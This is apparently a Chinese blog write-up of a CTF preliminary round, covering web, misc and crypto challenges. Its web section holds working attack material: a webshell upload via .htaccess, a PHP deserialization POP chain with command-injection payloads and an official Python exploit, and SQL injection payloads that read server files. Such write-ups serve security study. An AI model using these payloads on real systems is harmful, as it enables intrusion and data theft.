强国杯初赛WP

最新推荐文章于 2024-05-21 16:19:37 发布

Msaerati

最新推荐文章于 2024-05-21 16:19:37 发布

阅读量1k

点赞数 3

分类专栏： WP 文章标签： php 开发语言

本文链接：https://blog.csdn.net/qq_63928796/article/details/125946277

版权

WP 专栏收录该内容

15 篇文章 0 订阅

订阅专栏

WEB

upload_new

测试了一串只能提交jpg而且对<?也进行了检测，可以构造小马

上传报错是Apache可以想到用.htaccess来执行php木马

用bp来修改类型

再修改图片类型

用蚁剑连接

得到flag

POP

代码审计

<?php 
  function filter($string) {    //filter函数过滤，一般都是字符逃逸，如果我们用的是flag，就是flag替换成nonono字符增多
  $safe = array('system','fopen','fread','file_get_contents','flag'); 
  $safe = '/' . implode('|', $safe) . '/i'; 
  return preg_replace($safe, 'nonono', $string); 
}

class PingUtils{ 
  function __call($name,$args){ 
    system("ping -c4 ${args[0]}");    //这应该是我们的利用点利用ping命令cat flag一般就是构造127.0.0.1 || cat /flag
  } 
}
class Cindy{ 
  var $someone;     //在这个类中有我们可控制的变量someone  phone 可以改为127.0.0.1
  var $phone; 
  function call(){ 
    $this->phone->call($this->someone); 
  } 
}
class Bob{   这个类中要保持flag=True
  public $flag=True; 
  public function __get($a){ 
    if($this->flag){ 
      $cindy = new Cindy(); 
      $cindy->someone = $_REQUEST['someone']; 
      $cindy->phone = "p50";   //确定了phone的属性了，所以我们不能直接控制,所以逃逸的目标变成了someone
      #var_dump(filter(serialize($cindy))); 
      $cindy = unserialize(filter(serialize($cindy))); 
      $cindy->call($someone); 
    }else{
      echo 'nonono'; 
    } 
  }
  public function __wakeup(){ 
    $this->flag = False;   //我们要绕过这个wakeup,不能让flag=False否则get函数无法执行
  } 
} 
class Alice{ 
  public function __destruct(){ 
    echo $this->c->b; 
  } 
}
highlight_file(__FILE__); 
@unserialize($_GET['pop']);

http://127.0.0.1/2.php?pop=O:5:%22Alice%22:1:{s:1:%22c%22;O:3:%22Bob%22:2:{s:4:%22flag%22;b:1;}}&someone=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagfopen|ls%22;s:5:%22phone%22;O:9:%22PingUtils%22:0:{}} ls /

看到flag flag名字用f???绕过最后payload

http://127.0.0.1/2.php?pop=O:5:%22Alice%22:1:{s:1:%22c%22;O:3:%22Bob%22:2:{s:4:%22flag%22;b:1;}}&someone=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagfopen|ls%22;s:5:%22phone%22;O:9:%22PingUtils%22:0:{}} ls /

<?php
function filter($string) {
    $safe = array('system','fopen','fread','file_get_contents','flag');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'nonono', $string);
}
class Cindy{
    var $someone;
    var $phone;
    function call(){
        $this->phone->call($this->someone);
    }
}
class PingUtils{
    function __call($name,$args){
        system("ping -c4 ${args[0]}");
    }
}
$a = new Cindy();
$b = new PingUtils();
$a -> someone = '127.0.0.1;cat /flag';

官方exp

#!/usr/bin/python3 
# -*- coding: utf-8 -*- 
import re 
import sys 
import requests as r 
# 输入为靶机 IP 和端口以及要验证的 flag 
HOST = sys.argv[1] 
PORT = sys.argv[2] 
FLAG = sys.argv[3] 
def exp(ip,port): 
    url = f"http://{ip}:{port}" 
    pop = 'O:5:"Alice":1:{s:1:"c";O:3:"Bob":0:{};N;}' 
    payload = '";s:5:"phone";O:9:"PingUtils":0:{}}' 
    someone = '127.0.0.1;cat /f\lag;#' + 'fopen'*len(payload) + payload 
    payload = '";s:5:"phone";O:9:"PingUtils":0:{}}' 
    someone = '127.0.0.1;cat /f\lag;#' + 'fopen'*len(payload) + payload 
    res = r.post(f"{url}/?pop={pop}",data={"someone":someone}) 
    match_group = re.findall("flag{(.*?)}", res.text) 
    flag = match_group[0] 
    return flag 
# 主逻辑 
if __name__ == '__main__': 
    flag = exp(HOST, PORT) 
    # 比较得出的 flag 是否是想要的 flag 
    print(flag) 
    assert flag == FLAG 
    print("Pass!") 
print(res.text)

SQL

双写绕过

获取路径

payload: http://27.0.166.76:39782/index.php?id=-1' or 1=2 union selselectect

1,fllllag,3 from fl4g-- -

读取文件

1. 读取 /var/www/html/flag.php

payload： http://27.0.166.76:39782/index.php?id=-1' or 1=2 union selselectect

1,load_file("/var/www/html/flag.php"),3 -- -

3. 右键查看源代码。获取flag

MISC

Welcome_to_QGB

直接base64

包上flag即可flag{Welcome_to_QGB}

大佬大佬

题目是一张png图片，先用zsteg梭一下

发现一张png，将他分离出来

题目提示修改尺寸，将他的高修改

得到flag

The fun picture

题目是个加密的压缩包，直接爆破

密码为6yOK,解压后得到三个文件

查看flag.txt

提示flag为图片，把他放到010中没有前缀，添加上%png

得到一张二维码，扫描的到一串base64

解密得到flag

找找GIF

题目有三个文件，但用winrar打开时aaa有密码，但用360压缩就没了(不知道为啥)

其中aaa没有后缀将他放到010中查看

发现是png，将后缀改为png查看，感觉少一半

修改高度

将他反过来就是bbb.zip的密码，得到一个没有后缀的bbb文件，放到010中没有文件头，但最后是00 3b

猜测是gif文件，添加上文件头

得到一个gif可以看到flag闪过，截图得到flag

B@tCh

这是什么奇怪的文件?我们从一个黑客的计算机中截取,你能帮忙分析一下它吗?(注意:FLAG是uuid格式,调试时候出现重启是正常现象,注意题目输出)

一个被加密的bat文件搜索bat乱码解密得到一个用doc打开解密的方法

然后继续搜特征找到这篇文章

还原BatchEncryption(201610版本)混淆的批处理文件

还原BatchEncryption(201610版本)混淆的批处理文件_A艾美特的博客-CSDN博客_batchencryption解密

用这边提供的脚本稍微修改将

::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n

这条判断删掉直接对报错的源文件进行解密

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Batch Decryption 202009 (BatchEncryption Build 201610)
#

import os


def decryption(data):
    if not (data[0] == 0xFF and data[1] == 0xFE):
        print('Batch decryption bom error!')
        return
    if str(data[2:9], encoding="utf-8") != ' &cls\r\n':
        print('Batch decryption cls error!')
        return

    vars = {}

    # decryption line
    i = 60
    l = len(data)
    while i < l:
        i = run(vars, data, i)


def run(vars, data, i):
    buf = ''
    f = 0
    t = 0
    x = False
    l = len(data)
    while(True):
        if data[i] == 0x0d and data[i+1] == 0x0a:
            i += 2
            break
        # get %var:~x,y% %0
        if data[i] == 0x25:
            if not x:
                x = True
                f = i
            else:
                x = False
                t = i
                rst = var_percent(data[f:t+1], vars)
                buf += rst
        else:
            if not x:
                buf += str(data[i:i+1], encoding="utf-8")
            else:
                if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a):
                    x = False
                    t = i
                    rst = str(data[f:t+1], encoding="utf-8")
                    buf += rst
        i += 1
        if i >= l:
            break
    #
    print(buf)
    bufs = buf.split('&@')
    for var in bufs:
        if var[0:4] == 'set ':
            var = var[4:]
            b = var.find('=')
            vars[var[0:b]] = var[b+1:].replace('^^^', '^')

    return i


def var_percent(data, vars):
    full = str(data, encoding="utf-8")
    buf = full[1:len(full)-1]
    buf = buf.split(':~')
    var = buf[0]
    if not var in vars:
        vars[var] = os.getenv(var)
    ent = vars[var]
    if (len(buf) > 1):
        l = len(ent)
        buf = buf[1].split(',')
        f = int(buf[0])
        t = int(buf[1])
        if f < 0:
            f, t = l + f, t
        rst = ent[f: f+t]
    else:
        rst = full
    return rst


encrypt_file = './B@tCh.bat'

if __name__ == '__main__':

    try:
        file = open(encrypt_file, "rb")
        data = file.read()
    except Exception as err:
        print('Batch decryption read error:', err)
        exit
    else:
        file.close()

    decryption(data)

运行得到flag

flag{156b404a-6bc8-4bf7-8121-a133795e4edd}

Crypto

babyRSA

基本的rsa公式

import gmpy2 as gp
import binascii
p =  122661900225958537473593999629721155547445152508344628379156151659796333424765145214036218314036538367449542188442412001233407797975924025535192193558685614179856037200129145911423039793961531441773477698026833665056111228506730246279582720435235709543855376031268946650792983451355568301885456994665262875749
q =  152724789318100477389853045726902882371493936383383619555088124064539207319241990180547432685312774553372809313491471789726609450644068056661970298474939384495232219405764685450242448624149384201199927977364779992607712253080589100019883370160068766123718298014862011278111513825917110130106578782458953059859
e =  33
c =  11852026632281701016724299626853609925180998208455660311000462227020929333377781887963495074427303581997467868526563174560178272022772274396432682692794063165224973938499915472777760940556428251371134510052503881386517887007288504116932135535735038891342756359104150065602002052735935730495500714873277911540993054971564663909394753577934282562474400064427000243598933915050367444422905464938144621404295662232927161154426321727883942392656517143955794390377418120483810457172329736269488772672472120992463072392783584779323287481047740952196227038157414187174528649660615317679662848063671637919176651288177629770199
n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
m = pow(c, d, n)
print(m)

得到

621705382104866156546935593390435525320795645461697933164154189039655097974493239721747686929741415975229964611798557062065834464781726955133063049051993398215120634674474750860776295024520795799504015222397

将他转16进制

7beee48d0f44b72d5339c5117463133814bb5ba5ad2fdb13a2da3eaeab17a20408575542981c267a5f165c32df842d1f666c61677b32363061396137333833616664356663393739333566326332643464366662667d

再转hex得到flag

Msaerati

关注

3
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
强国杯初赛WP

将他反过来就是bbb.zip的密码，得到一个没有后缀的bbb文件，放到010中没有文件头，但最后是003b。题目有三个文件，但用winrar打开时aaa有密码，但用360压缩就没了(不知道为啥)一个被加密的bat文件搜索bat乱码解密得到一个用doc打开解密的方法。看到flagflag名字用f?提示flag为图片，把他放到010中没有前缀，添加上%png。得到一个gif可以看到flag闪过，截图得到flag。发现是png，将后缀改为png查看，感觉少一半。题目提示修改尺寸，将他的高修改。...
复制链接

扫一扫